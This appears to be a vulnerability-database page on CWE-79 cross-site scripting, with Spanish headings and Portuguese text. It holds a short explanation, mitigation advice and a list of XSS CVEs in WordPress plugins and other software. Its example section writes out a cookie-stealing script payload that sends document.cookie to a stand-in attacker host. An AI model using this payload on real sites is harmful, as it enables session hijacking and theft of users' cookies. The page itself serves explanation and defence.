Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-116552MEDIUMLike Button Rating ♥ LikeBtn <= 2.6.64 - Unauthenticated Stored Cross-Site Scripting via 'Client-IP' HeaderEPSS 0.3%CVE-2026-102565HIGHBA Book Everything <= 1.8.28 - Unauthenticated Stored Cross-Site Scripting via 'booking_service_qty' ParameterEPSS 0.3%CVE-2026-44586HIGHSiYuan: Bazaar marketplace renders unescaped package author metadata, allowing XSS and Electron code executionEPSS 0.3%CVE-2025-22261MEDIUMWordPress WP FullCalendar plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7802MEDIUMPHPGurukul Complaint Management System complaint-search.php cross site scriptingEPSS 0.3%CVE-2024-43921HIGHWordPress Generate Images – Magic Post Thumbnail plugin <= 5.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-100107HIGHKubio AI Page Builder <= 2.9.2 - Unauthenticated Stored Cross-Site Scripting via SVG Comment Content (KSES Allowlist Bypass)EPSS 0.3%CVE-2026-102772HIGHCMB2 <= 2.13.1 - Unauthenticated Stored Cross-Site Scripting via 'textarea_code' FieldEPSS 0.3%CVE-2025-13784MEDIUMyungifez Skuul School Management System SVG File edit cross site scriptingEPSS 0.3%CVE-2024-41380MEDIUMmicroweber 2.0.16 was discovered to contain a Cross Site Scripting (XSS) vulnerability via userfiles\modules\tags\add_tagging_tagged.php.EPSS 0.3%CVE-2024-43948HIGHWordPress WP Armour Extended plugin <= 1.26 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-8729MEDIUMEasy Social Share Buttons <= 1.4.5 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-8686MEDIUMWP Easy FAQs <= 1.0.5 - Authenticated (Author+) Stored Cross-Site Scripting via WP_EASY_FAQ ShortcodeEPSS 0.3%CVE-2025-9080MEDIUMGeneric Elements <= 1.2.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-4267HIGHQuery Monitor <= 3.20.3 - Reflected Cross-Site Scripting via Request URIEPSS 0.3%CVE-2023-51690MEDIUMWordPress Advanced iFrame Plugin <= 2023.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-43220HIGHWordPress Form Maker by 10Web plugin <= 1.15.26 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-67641HIGHJenkins Coverage Plugin 2.3054.ve1ff7b_a_a_123b_ and earlier does not validate the configured coverage results ID when creating coverage resEPSS 0.3%CVE-2026-85679HIGHExtendify <= 3.1.6 - Unauthenticated Stored Cross-Site Scripting via 'styles.blocks' Block Type KeyEPSS 0.3%CVE-2026-111254HIGHW3 Total Cache <= 2.10.7 - Unauthenticated Stored Cross-Site Scripting via Comment Content Cached as HTML after License ExpiryEPSS 0.3%